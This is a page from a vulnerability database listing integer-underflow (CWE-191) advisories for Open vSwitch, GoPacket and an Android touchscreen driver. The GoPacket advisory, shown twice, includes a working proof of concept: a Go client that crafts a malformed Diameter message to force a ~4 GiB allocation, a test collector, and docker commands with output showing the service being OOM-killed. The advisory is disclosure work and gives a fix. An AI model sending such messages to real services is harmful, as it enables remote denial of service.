Common Weakness Enumeration

CWE-191

Allowed

Integer Underflow (Wrap or Wraparound)

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result.

728 vulnerabilities reference this CWE, most recent first.

GHSA-6Q3F-FC2P-9RH3

Vulnerability from github – Published: 2022-05-13 01:07 – Updated: 2022-05-13 01:07
VLAI
Details

In Open vSwitch (OvS) 2.7.0, while parsing an OFPT_QUEUE_GET_CONFIG_REPLY type OFP 1.0 message, there is a buffer over-read that is caused by an unsigned integer underflow in the function ofputil_pull_queue_get_config_reply10 in lib/ofp-util.c.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-9214"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-05-23T17:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "In Open vSwitch (OvS) 2.7.0, while parsing an OFPT_QUEUE_GET_CONFIG_REPLY type OFP 1.0 message, there is a buffer over-read that is caused by an unsigned integer underflow in the function `ofputil_pull_queue_get_config_reply10` in `lib/ofp-util.c`.",
  "id": "GHSA-6q3f-fc2p-9rh3",
  "modified": "2022-05-13T01:07:34Z",
  "published": "2022-05-13T01:07:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-9214"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2418"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2553"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2648"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2665"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2692"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2698"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2017:2727"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2021/02/msg00032.html"
    },
    {
      "type": "WEB",
      "url": "https://mail.openvswitch.org/pipermail/ovs-dev/2017-May/332711.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6R28-9PPF-4HJ5

Vulnerability from github – Published: 2026-07-28 16:14 – Updated: 2026-07-28 16:14
VLAI
Summary
GoPacket's Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)
Details

Summary

The Diameter AVP decoder in github.com/gopacket/gopacket computes dataLength := avp.Length - uint32(headerSize) without first ensuring avp.Length >= headerSize. When the Vendor flag is set, headerSize is 12, but the only length guard upstream rejects avp.Length < 8. An AVP with the Vendor flag set and a 24-bit Length field of 8, 9, 10, or 11 therefore underflows the uint32 subtraction to ~4,294,967,292, which is passed straight to make([]byte, dataLength). A single 32-byte Diameter message forces a ~4 GiB allocation; a short burst of such messages exhausts memory and OOM-kills memory-constrained collectors. This is an unauthenticated remote denial of service (CWE-191 integer underflow -> CWE-770 unbounded allocation).

Root cause (file:line @ v1.6.0)

layers/diameter_avp_decoders.go, decodeDiameterAVP:

avp.Length = uint32(data[5])<<16 | uint32(data[6])<<8 | uint32(data[7]) // 24-bit wire value

if avp.Length < 8 {                       // only rejects < 8
    return DiameterAVP{}, 0, fmt.Errorf("invalid AVP length: %d", avp.Length)
}

headerSize := 8
dataOffset := 8
if avp.Flags.Vendor {                     // Vendor flag = wire bit data[4] & 0x80
    if len(data) < 12 { ... }
    avp.VendorID = binary.BigEndian.Uint32(data[8:12])
    headerSize = 12                       // header is now 12, but only >= 8 was checked
    dataOffset = 12
}

paddedLength := avp.Length                // equals avp.Length; for avp.Length <= 12
if avp.Length%4 != 0 { paddedLength = avp.Length + (4 - avp.Length%4) }
if uint32(len(data)) < paddedLength {     // only requires ~12 bytes present
    return DiameterAVP{}, 0, fmt.Errorf("AVP data truncated: ...")
}

dataLength := avp.Length - uint32(headerSize)  // 8 - 12 = uint32 underflow = 4294967292
avp.Data = make([]byte, dataLength)            // make([]byte, ~4.29e9) ~= 4 GiB
copy(avp.Data, data[dataOffset:dataOffset+int(dataLength)])  // out-of-bounds slice -> panic

For avp.Length in {8, 9, 10, 11} with the Vendor flag set: the avp.Length < 8 guard passes, paddedLength == avp.Length so only avp.Length bytes must be present, and dataLength = avp.Length - 12 underflows the uint32. The allocation size is determined entirely by the attacker-supplied 3-byte Length field plus a single flag bit. The make executes before the copy, so the multi-gigabyte allocation is requested regardless of whether the copy later panics.

Reachability (remote attacker -> sink)

LayerTypeDiameter is a registered decoder (layertypes.go:159, RegisterLayerType(154, ... decodeDiameter)):

decodeDiameter -> (*Diameter).DecodeFromBytes (diameter.go:118) -> parses the 20-byte header -> avpData := data[20:d.MessageLength] -> AVP loop decodeDiameterAVP(avpData) (diameter.go:158) -> sink at diameter_avp_decoders.go:57.

Diameter (RFC 6733) is a TCP/SCTP base protocol used for AAA and telecom/5G signaling. Any service that parses Diameter with gopacket (packet collectors, signaling monitors, IDS/analysis tooling) processes attacker-sent or attacker-forwarded Diameter messages with no authentication involved, so any host able to deliver such a message to the parser reaches the sink. The same path is reached via gopacket.NewPacket(data, LayerTypeDiameter, ...). The Diameter layer is specific to this gopacket fork (the original google/gopacket has no Diameter layer), so there is no upstream sibling fix.

Impact

Unauthenticated remote denial of service via memory exhaustion. Each malicious 32-byte Diameter message requests a ~4 GiB allocation (amplification ~1.34e8x over the input). There is no memory corruption and no code execution -- the impact is resource exhaustion / process termination. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).

Note on consumer behavior (measured end-to-end against a deployed collector, see PoC):

  • A collector using the recovering gopacket.NewPacket(..., gopacket.Default) API survives a single malicious message: the ~4 GiB make([]byte, dataLength) runs (in-process runtime.MemStats shows a 4096 MB TotalAlloc delta per message), but the immediately-following out-of-bounds copy panics before the allocator faults in the 4 GiB of physical pages, the panic is recovered into an ErrorLayer, and the reservation is reclaimed by the GC. RSS therefore does not commit on a single message.
  • Two malicious messages in succession reliably OOM-kill the collector under a 256 MB cap: the second make commits physical pages before the first reservation is fully returned to the cgroup, and the kernel cgroup OOM-killer terminates the process (OOMKilled=true, exit 137). This was reproduced with two messages sent strictly serially to the single-threaded accept loop (no concurrency required).
  • Consumers that call DecodeFromBytes directly (common in performance-sensitive collectors) or set SkipDecodeRecovery: true additionally get an uncaught panic / crash on the first message.

In all cases the underlying defect is the same unbounded ~4 GiB allocation driven by an attacker-controlled field; the only variable is how many messages it takes to exhaust a given memory limit.

Proof of Concept

This PoC is an end-to-end test against a real deployed Diameter collector. A minimal but realistic TCP collector (built on the public gopacket API) runs inside a hard-capped 256 MB container; an independent client process sends real malicious Diameter messages over a real TCP socket; the collector process is then observed to die. A benign message is used as a negative control. The harness pins github.com/gopacket/gopacket@v1.6.0 (the sink is confirmed at the v1.6.0 tag, layers/diameter_avp_decoders.go:56-58).

Collector (real TCP Diameter collector)

// collector.go — accepts a TCP connection, reads one Diameter message (framed by
// the 24-bit Message Length in the base header), builds a gopacket.Packet rooted
// at LayerTypeDiameter and accesses the layer, which drives the registered
// Diameter decoder over the attacker-controlled bytes.
package main

import (
    "fmt"
    "io"
    "net"
    "os"

    "github.com/gopacket/gopacket"
    "github.com/gopacket/gopacket/layers"
)

func readDiameterMessage(conn net.Conn) ([]byte, error) {
    hdr := make([]byte, 20)
    if _, err := io.ReadFull(conn, hdr); err != nil {
        return nil, err
    }
    msgLen := uint32(hdr[1])<<16 | uint32(hdr[2])<<8 | uint32(hdr[3])
    if msgLen < 20 {
        return hdr, nil
    }
    full := make([]byte, msgLen)
    copy(full, hdr)
    if _, err := io.ReadFull(conn, full[20:]); err != nil {
        return nil, err
    }
    return full, nil
}

func main() {
    ln, err := net.Listen("tcp", "0.0.0.0:3868")
    if err != nil {
        fmt.Fprintf(os.Stderr, "listen error: %v\n", err)
        os.Exit(1)
    }
    defer ln.Close()
    fmt.Printf("[collector] Diameter collector listening on tcp %s\n", ln.Addr())
    for {
        conn, err := ln.Accept()
        if err != nil {
            continue
        }
        func() {
            defer conn.Close()
            data, err := readDiameterMessage(conn)
            if err != nil {
                return
            }
            fmt.Printf("[collector] received %d-byte Diameter message from %s\n", len(data), conn.RemoteAddr())
            pkt := gopacket.NewPacket(data, layers.LayerTypeDiameter, gopacket.Default)
            if d, ok := pkt.Layer(layers.LayerTypeDiameter).(*layers.Diameter); ok {
                fmt.Printf("[collector] decoded Diameter: version=%d cmd=%d msgLen=%d avps=%d\n",
                    d.Version, d.CommandCode, d.MessageLength, len(d.AVPs))
            } else {
                fmt.Printf("[collector] no Diameter layer decoded\n")
            }
        }()
    }
}

Client (independent process, real TCP socket, no gopacket dependency)

The client crafts a 20-byte Diameter base header followed by one vendor AVP whose 24-bit Length is avpLen. With the Vendor flag set, the decoder's headerSize becomes 12; for avpLen in {8,9,10,11} the dataLength = avpLen - 12 subtraction underflows. For the benign case avpLen >= 12 so the AVP carries avpLen-12 real bytes and parses cleanly.

// client.go — usage: client <addr> <avpLen> [--benign]
package main

import (
    "encoding/binary"
    "fmt"
    "net"
    "os"
    "strconv"
    "time"
)

func be32(v uint32) []byte { b := make([]byte, 4); binary.BigEndian.PutUint32(b, v); return b }

func craft(avpLen uint32, benign bool) []byte {
    avp := []byte{}
    avp = append(avp, be32(1)...) // AVP Code = 1
    avp = append(avp, 0x80)       // Flags: Vendor bit set -> headerSize becomes 12
    avp = append(avp, byte(avpLen>>16), byte(avpLen>>8), byte(avpLen)) // 24-bit Length
    avp = append(avp, be32(0)...) // VendorID
    if benign {
        dataLen := int(avpLen) - 12
        if dataLen < 0 {
            dataLen = 0
        }
        padded := dataLen
        if padded%4 != 0 {
            padded += 4 - padded%4
        }
        for i := 0; i < padded; i++ {
            avp = append(avp, 0x42)
        }
    } else {
        for len(avp) < 12 {
            avp = append(avp, 0x00)
        }
    }
    msgLen := uint32(20 + len(avp))
    hdr := make([]byte, 20)
    hdr[0] = 0x01 // Version 1
    hdr[1] = byte(msgLen >> 16)
    hdr[2] = byte(msgLen >> 8)
    hdr[3] = byte(msgLen)
    hdr[4] = 0x80 // Command Flags: Request
    hdr[5], hdr[6], hdr[7] = 0x00, 0x01, 0x01 // CommandCode 257
    return append(hdr, avp...)
}

func main() {
    addr := os.Args[1]
    avpLen, _ := strconv.ParseUint(os.Args[2], 10, 32)
    benign := len(os.Args) > 3 && os.Args[3] == "--benign"
    data := craft(uint32(avpLen), benign)
    conn, err := net.Dial("tcp", addr)
    if err != nil {
        fmt.Fprintf(os.Stderr, "dial error: %v\n", err)
        os.Exit(1)
    }
    defer conn.Close()
    conn.Write(data)
    fmt.Printf("[client] sent %d-byte Diameter message (avpLen=%d, vendor, benign=%v)\n",
        len(data), avpLen, benign)
    buf := make([]byte, 1)
    conn.SetReadDeadline(time.Now().Add(3 * time.Second))
    conn.Read(buf)
}

Run and observed result

The collector runs under a hard 256 MB cgroup cap with swap disabled (--memory=256m --memory-swap=256m) so the OOM is contained to the cgroup and the host is unaffected.

Negative control (benign message, vendor AVP Length=16, dataLength=4):

$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 16 --benign
[client] sent 36-byte Diameter message (avpLen=16, vendor, benign=true)

# collector log:
[collector] received 36-byte Diameter message from 172.19.0.3:53216
[collector] decoded Diameter: version=1 cmd=257 msgLen=36 avps=1
# collector status: running (ALIVE); RSS flat at 1.5 MiB

Attack message #1 (malicious, vendor AVP Length=8 -> 8-12 underflow -> ~4 GiB make):

$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8
[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -> make([]byte, 4294967292) ~= 4.00 GiB
[client] message sent over real TCP socket

# collector log:
[collector] received 32-byte Diameter message from 172.19.0.3:53230
[collector] no Diameter layer decoded
# collector status after #1: running (the single ~4 GiB make panics on the
# subsequent out-of-bounds copy and is recovered before physical pages commit);
# RSS 6.5 MiB

Attack message #2 (same malicious message again):

$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8
[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -> make([]byte, 4294967292) ~= 4.00 GiB
[client] message sent over real TCP socket

# container final state:
Status=exited OOMKilled=true ExitCode=137

Two malicious 32-byte Diameter messages, delivered over a real TCP socket to a real gopacket-based collector, terminate the collector process: the kernel cgroup OOM-killer fires (OOMKilled=true, exit 137). A single message is recovered by the default decoding API and the process survives, but the second make([]byte, 4294967292) commits before the first reservation is reclaimed and exhausts the 256 MB limit. This was reproduced with the two messages sent strictly serially (no concurrency). The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled AVP Length underflow is what drives the allocation.

In-process measurement confirms the per-message allocation: feeding the same 32-byte message through gopacket.NewPacket(..., gopacket.Default) shows a runtime.MemStats TotalAlloc delta of 4096 MB, i.e. the make([]byte, 4294967292) genuinely executes on every message before the copy panics.

The host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.

Affected versions

github.com/gopacket/gopacket <= v1.6.0 (v1.6.0 is the latest release; the sink is present at the v1.6.0 tag). The Diameter layer is specific to this module.

Suggested fix

After headerSize is finalized (i.e. after the Vendor-flag branch), reject any AVP whose declared Length cannot cover its own header, before computing dataLength:

if avp.Length < uint32(headerSize) {
    return DiameterAVP{}, 0, fmt.Errorf("invalid AVP length: %d, smaller than header size %d", avp.Length, headerSize)
}

This mirrors the existing avp.Length < 8 check but accounts for the 12-byte vendor header, eliminating the underflow and capping the allocation at the real data size. With this guard the upstream go test ./layers -run Diameter suite (9 tests) still passes and valid vendor AVPs parse unchanged.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gopacket/gopacket"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54345"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-28T16:14:36Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe Diameter AVP decoder in `github.com/gopacket/gopacket` computes `dataLength := avp.Length - uint32(headerSize)` without first ensuring `avp.Length \u003e= headerSize`. When the Vendor flag is set, `headerSize` is 12, but the only length guard upstream rejects `avp.Length \u003c 8`. An AVP with the Vendor flag set and a 24-bit Length field of 8, 9, 10, or 11 therefore underflows the `uint32` subtraction to ~4,294,967,292, which is passed straight to `make([]byte, dataLength)`. A single 32-byte Diameter message forces a ~4 GiB allocation; a short burst of such messages exhausts memory and OOM-kills memory-constrained collectors. This is an unauthenticated remote denial of service (CWE-191 integer underflow -\u003e CWE-770 unbounded allocation).\n\n## Root cause (file:line @ v1.6.0)\n\n`layers/diameter_avp_decoders.go`, `decodeDiameterAVP`:\n\n```go\navp.Length = uint32(data[5])\u003c\u003c16 | uint32(data[6])\u003c\u003c8 | uint32(data[7]) // 24-bit wire value\n\nif avp.Length \u003c 8 {                       // only rejects \u003c 8\n    return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d\", avp.Length)\n}\n\nheaderSize := 8\ndataOffset := 8\nif avp.Flags.Vendor {                     // Vendor flag = wire bit data[4] \u0026 0x80\n    if len(data) \u003c 12 { ... }\n    avp.VendorID = binary.BigEndian.Uint32(data[8:12])\n    headerSize = 12                       // header is now 12, but only \u003e= 8 was checked\n    dataOffset = 12\n}\n\npaddedLength := avp.Length                // equals avp.Length; for avp.Length \u003c= 12\nif avp.Length%4 != 0 { paddedLength = avp.Length + (4 - avp.Length%4) }\nif uint32(len(data)) \u003c paddedLength {     // only requires ~12 bytes present\n    return DiameterAVP{}, 0, fmt.Errorf(\"AVP data truncated: ...\")\n}\n\ndataLength := avp.Length - uint32(headerSize)  // 8 - 12 = uint32 underflow = 4294967292\navp.Data = make([]byte, dataLength)            // make([]byte, ~4.29e9) ~= 4 GiB\ncopy(avp.Data, data[dataOffset:dataOffset+int(dataLength)])  // out-of-bounds slice -\u003e panic\n```\n\nFor `avp.Length` in `{8, 9, 10, 11}` with the Vendor flag set: the `avp.Length \u003c 8` guard passes, `paddedLength == avp.Length` so only `avp.Length` bytes must be present, and `dataLength = avp.Length - 12` underflows the `uint32`. The allocation size is determined entirely by the attacker-supplied 3-byte Length field plus a single flag bit. The `make` executes before the `copy`, so the multi-gigabyte allocation is requested regardless of whether the copy later panics.\n\n## Reachability (remote attacker -\u003e sink)\n\n`LayerTypeDiameter` is a registered decoder (`layertypes.go:159`, `RegisterLayerType(154, ... decodeDiameter)`):\n\n`decodeDiameter` -\u003e `(*Diameter).DecodeFromBytes` (diameter.go:118) -\u003e parses the 20-byte header -\u003e `avpData := data[20:d.MessageLength]` -\u003e AVP loop `decodeDiameterAVP(avpData)` (diameter.go:158) -\u003e sink at `diameter_avp_decoders.go:57`.\n\nDiameter (RFC 6733) is a TCP/SCTP base protocol used for AAA and telecom/5G signaling. Any service that parses Diameter with gopacket (packet collectors, signaling monitors, IDS/analysis tooling) processes attacker-sent or attacker-forwarded Diameter messages with no authentication involved, so any host able to deliver such a message to the parser reaches the sink. The same path is reached via `gopacket.NewPacket(data, LayerTypeDiameter, ...)`. The Diameter layer is specific to this gopacket fork (the original google/gopacket has no Diameter layer), so there is no upstream sibling fix.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. Each malicious 32-byte Diameter message requests a ~4 GiB allocation (amplification ~1.34e8x over the input). There is no memory corruption and no code execution -- the impact is resource exhaustion / process termination. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\nNote on consumer behavior (measured end-to-end against a deployed collector, see PoC):\n\n- A collector using the recovering `gopacket.NewPacket(..., gopacket.Default)` API survives a *single* malicious message: the ~4 GiB `make([]byte, dataLength)` runs (in-process `runtime.MemStats` shows a 4096 MB `TotalAlloc` delta per message), but the immediately-following out-of-bounds `copy` panics before the allocator faults in the 4 GiB of physical pages, the panic is recovered into an `ErrorLayer`, and the reservation is reclaimed by the GC. RSS therefore does not commit on a single message.\n- **Two malicious messages in succession reliably OOM-kill the collector** under a 256 MB cap: the second `make` commits physical pages before the first reservation is fully returned to the cgroup, and the kernel cgroup OOM-killer terminates the process (`OOMKilled=true`, exit 137). This was reproduced with two messages sent strictly serially to the single-threaded accept loop (no concurrency required).\n- Consumers that call `DecodeFromBytes` directly (common in performance-sensitive collectors) or set `SkipDecodeRecovery: true` additionally get an uncaught panic / crash on the first message.\n\nIn all cases the underlying defect is the same unbounded ~4 GiB allocation driven by an attacker-controlled field; the only variable is how many messages it takes to exhaust a given memory limit.\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed Diameter collector. A minimal but realistic TCP collector (built on the public gopacket API) runs inside a hard-capped 256 MB container; an independent client process sends real malicious Diameter messages over a real TCP socket; the collector process is then observed to die. A benign message is used as a negative control. The harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at the v1.6.0 tag, `layers/diameter_avp_decoders.go:56-58`).\n\n### Collector (real TCP Diameter collector)\n\n```go\n// collector.go \u2014 accepts a TCP connection, reads one Diameter message (framed by\n// the 24-bit Message Length in the base header), builds a gopacket.Packet rooted\n// at LayerTypeDiameter and accesses the layer, which drives the registered\n// Diameter decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc readDiameterMessage(conn net.Conn) ([]byte, error) {\n\thdr := make([]byte, 20)\n\tif _, err := io.ReadFull(conn, hdr); err != nil {\n\t\treturn nil, err\n\t}\n\tmsgLen := uint32(hdr[1])\u003c\u003c16 | uint32(hdr[2])\u003c\u003c8 | uint32(hdr[3])\n\tif msgLen \u003c 20 {\n\t\treturn hdr, nil\n\t}\n\tfull := make([]byte, msgLen)\n\tcopy(full, hdr)\n\tif _, err := io.ReadFull(conn, full[20:]); err != nil {\n\t\treturn nil, err\n\t}\n\treturn full, nil\n}\n\nfunc main() {\n\tln, err := net.Listen(\"tcp\", \"0.0.0.0:3868\")\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer ln.Close()\n\tfmt.Printf(\"[collector] Diameter collector listening on tcp %s\\n\", ln.Addr())\n\tfor {\n\t\tconn, err := ln.Accept()\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tfunc() {\n\t\t\tdefer conn.Close()\n\t\t\tdata, err := readDiameterMessage(conn)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfmt.Printf(\"[collector] received %d-byte Diameter message from %s\\n\", len(data), conn.RemoteAddr())\n\t\t\tpkt := gopacket.NewPacket(data, layers.LayerTypeDiameter, gopacket.Default)\n\t\t\tif d, ok := pkt.Layer(layers.LayerTypeDiameter).(*layers.Diameter); ok {\n\t\t\t\tfmt.Printf(\"[collector] decoded Diameter: version=%d cmd=%d msgLen=%d avps=%d\\n\",\n\t\t\t\t\td.Version, d.CommandCode, d.MessageLength, len(d.AVPs))\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"[collector] no Diameter layer decoded\\n\")\n\t\t\t}\n\t\t}()\n\t}\n}\n```\n\n### Client (independent process, real TCP socket, no gopacket dependency)\n\nThe client crafts a 20-byte Diameter base header followed by one vendor AVP whose 24-bit Length is `avpLen`. With the Vendor flag set, the decoder\u0027s `headerSize` becomes 12; for `avpLen` in `{8,9,10,11}` the `dataLength = avpLen - 12` subtraction underflows. For the benign case `avpLen \u003e= 12` so the AVP carries `avpLen-12` real bytes and parses cleanly.\n\n```go\n// client.go \u2014 usage: client \u003caddr\u003e \u003cavpLen\u003e [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n\t\"time\"\n)\n\nfunc be32(v uint32) []byte { b := make([]byte, 4); binary.BigEndian.PutUint32(b, v); return b }\n\nfunc craft(avpLen uint32, benign bool) []byte {\n\tavp := []byte{}\n\tavp = append(avp, be32(1)...) // AVP Code = 1\n\tavp = append(avp, 0x80)       // Flags: Vendor bit set -\u003e headerSize becomes 12\n\tavp = append(avp, byte(avpLen\u003e\u003e16), byte(avpLen\u003e\u003e8), byte(avpLen)) // 24-bit Length\n\tavp = append(avp, be32(0)...) // VendorID\n\tif benign {\n\t\tdataLen := int(avpLen) - 12\n\t\tif dataLen \u003c 0 {\n\t\t\tdataLen = 0\n\t\t}\n\t\tpadded := dataLen\n\t\tif padded%4 != 0 {\n\t\t\tpadded += 4 - padded%4\n\t\t}\n\t\tfor i := 0; i \u003c padded; i++ {\n\t\t\tavp = append(avp, 0x42)\n\t\t}\n\t} else {\n\t\tfor len(avp) \u003c 12 {\n\t\t\tavp = append(avp, 0x00)\n\t\t}\n\t}\n\tmsgLen := uint32(20 + len(avp))\n\thdr := make([]byte, 20)\n\thdr[0] = 0x01 // Version 1\n\thdr[1] = byte(msgLen \u003e\u003e 16)\n\thdr[2] = byte(msgLen \u003e\u003e 8)\n\thdr[3] = byte(msgLen)\n\thdr[4] = 0x80 // Command Flags: Request\n\thdr[5], hdr[6], hdr[7] = 0x00, 0x01, 0x01 // CommandCode 257\n\treturn append(hdr, avp...)\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tavpLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) \u003e 3 \u0026\u0026 os.Args[3] == \"--benign\"\n\tdata := craft(uint32(avpLen), benign)\n\tconn, err := net.Dial(\"tcp\", addr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"dial error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte Diameter message (avpLen=%d, vendor, benign=%v)\\n\",\n\t\tlen(data), avpLen, benign)\n\tbuf := make([]byte, 1)\n\tconn.SetReadDeadline(time.Now().Add(3 * time.Second))\n\tconn.Read(buf)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled (`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and the host is unaffected.\n\nNegative control (benign message, vendor AVP `Length=16`, `dataLength=4`):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 16 --benign\n[client] sent 36-byte Diameter message (avpLen=16, vendor, benign=true)\n\n# collector log:\n[collector] received 36-byte Diameter message from 172.19.0.3:53216\n[collector] decoded Diameter: version=1 cmd=257 msgLen=36 avps=1\n# collector status: running (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack message #1 (malicious, vendor AVP `Length=8` -\u003e `8-12` underflow -\u003e ~4 GiB make):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -\u003e make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# collector log:\n[collector] received 32-byte Diameter message from 172.19.0.3:53230\n[collector] no Diameter layer decoded\n# collector status after #1: running (the single ~4 GiB make panics on the\n# subsequent out-of-bounds copy and is recovered before physical pages commit);\n# RSS 6.5 MiB\n```\n\nAttack message #2 (same malicious message again):\n\n```\n$ docker run --rm --network diam-net diameter-client-e2e diam-e2e:3868 8\n[client] this AVP makes dataLength = 8 - 12 = 4294967292 (uint32 underflow) -\u003e make([]byte, 4294967292) ~= 4.00 GiB\n[client] message sent over real TCP socket\n\n# container final state:\nStatus=exited OOMKilled=true ExitCode=137\n```\n\nTwo malicious 32-byte Diameter messages, delivered over a real TCP socket to a real gopacket-based collector, terminate the collector process: the kernel cgroup OOM-killer fires (`OOMKilled=true`, exit 137). A single message is recovered by the default decoding API and the process survives, but the second `make([]byte, 4294967292)` commits before the first reservation is reclaimed and exhausts the 256 MB limit. This was reproduced with the two messages sent strictly serially (no concurrency). The benign control on the same collector decodes cleanly and the process stays alive with flat RSS, confirming the attacker-controlled AVP Length underflow is what drives the allocation.\n\nIn-process measurement confirms the per-message allocation: feeding the same 32-byte message through `gopacket.NewPacket(..., gopacket.Default)` shows a `runtime.MemStats` `TotalAlloc` delta of 4096 MB, i.e. the `make([]byte, 4294967292)` genuinely executes on every message before the copy panics.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB cgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` \u003c= v1.6.0 (v1.6.0 is the latest release; the sink is present at the v1.6.0 tag). The Diameter layer is specific to this module.\n\n## Suggested fix\n\nAfter `headerSize` is finalized (i.e. after the Vendor-flag branch), reject any AVP whose declared Length cannot cover its own header, before computing `dataLength`:\n\n```go\nif avp.Length \u003c uint32(headerSize) {\n    return DiameterAVP{}, 0, fmt.Errorf(\"invalid AVP length: %d, smaller than header size %d\", avp.Length, headerSize)\n}\n```\n\nThis mirrors the existing `avp.Length \u003c 8` check but accounts for the 12-byte vendor header, eliminating the underflow and capping the allocation at the real data size. With this guard the upstream `go test ./layers -run Diameter` suite (9 tests) still passes and valid vendor AVPs parse unchanged.",
  "id": "GHSA-6r28-9ppf-4hj5",
  "modified": "2026-07-28T16:14:36Z",
  "published": "2026-07-28T16:14:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gopacket/gopacket/security/advisories/GHSA-6r28-9ppf-4hj5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gopacket/gopacket/commit/145859d0eaee1a6f5925ffb93851c976449c3311"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gopacket/gopacket"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gopacket/gopacket/releases/tag/v1.6.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "GoPacket\u0027s Diameter AVP decoder: uint32 underflow on vendor header size leads to unbounded ~4 GiB allocation (unauthenticated remote DoS)"
}

GHSA-6RP7-X538-XH3V

Vulnerability from github – Published: 2024-12-06 00:31 – Updated: 2024-12-06 18:30
VLAI
Details

In store_upgrade and store_cmd of drivers/input/touchscreen/stm/ftm4_pdc.c, there are out of bound writes due to missing bounds checks or integer underflows. These could lead to escalation of privilege.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-9388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-191",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
